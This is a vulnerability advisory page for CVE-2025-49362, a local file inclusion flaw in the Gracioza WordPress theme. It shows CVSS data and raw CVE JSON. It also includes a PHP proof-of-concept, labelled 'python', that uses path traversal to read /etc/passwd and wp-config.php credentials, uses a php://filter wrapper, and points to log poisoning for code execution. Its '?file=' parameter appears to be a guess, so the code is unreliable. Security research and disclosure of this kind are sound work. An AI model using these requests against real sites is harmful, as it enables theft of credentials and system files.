Security Vulnerability Report
中文
CVE-2025-49362 CVSS 8.1 HIGH

CVE-2025-49362

Published: 2025-12-18 08:15:50
Last Modified: 2026-04-27 20:16:12

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Gracioza gracioza allows PHP Local File Inclusion.This issue affects Gracioza: from n/a through <= 1.0.15.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gracioza WordPress主题 <= 1.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-49362 - Gracioza Theme Local File Inclusion PoC * Affected: Gracioza WordPress Theme <= 1.0.15 * Author: Security Researcher * Date: 2025-12-18 */ // Target URL - Replace with actual vulnerable site $target = 'http://target-site.com'; // PoC 1: Read system passwd file via path traversal echo "[*] Testing LFI - Reading /etc/passwd\n"; $exploit_url1 = $target . '/wp-content/themes/gracioza/?file=../../../../etc/passwd'; echo "[*] Request URL: $exploit_url1\n"; $response1 = file_get_contents($exploit_url1); if (strpos($response1, 'root:') !== false) { echo "[!] VULNERABLE! Successfully read /etc/passwd\n"; echo substr($response1, 0, 500) . "\n"; } // PoC 2: Read wp-config.php via path traversal echo "\n[*] Testing LFI - Reading wp-config.php\n"; $exploit_url2 = $target . '/wp-content/themes/gracioza/?file=../../../../wp-config.php'; $response2 = file_get_contents($exploit_url2); if (strpos($response2, 'DB_NAME') !== false) { echo "[!] VULNERABLE! Successfully read wp-config.php\n"; echo substr($response2, 0, 500) . "\n"; } // PoC 3: Using PHP wrapper to read base64 encoded content echo "\n[*] Testing LFI - PHP filter wrapper\n"; $exploit_url3 = $target . '/wp-content/themes/gracioza/?file=php://filter/read=convert.base64-encode/resource=../../../../wp-config.php'; echo "[*] Request URL: $exploit_url3\n"; // Note: For remote code execution, combine with log poisoning or other techniques echo "\n[*] Mitigation: Upgrade to Gracioza > 1.0.15 or apply input validation patches\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49362", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:50.380", "lastModified": "2026-04-27T20:16:12.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Gracioza gracioza allows PHP Local File Inclusion.This issue affects Gracioza: from n/a through <= 1.0.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/gracioza/vulnerability/wordpress-gracioza-theme-1-0-15-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}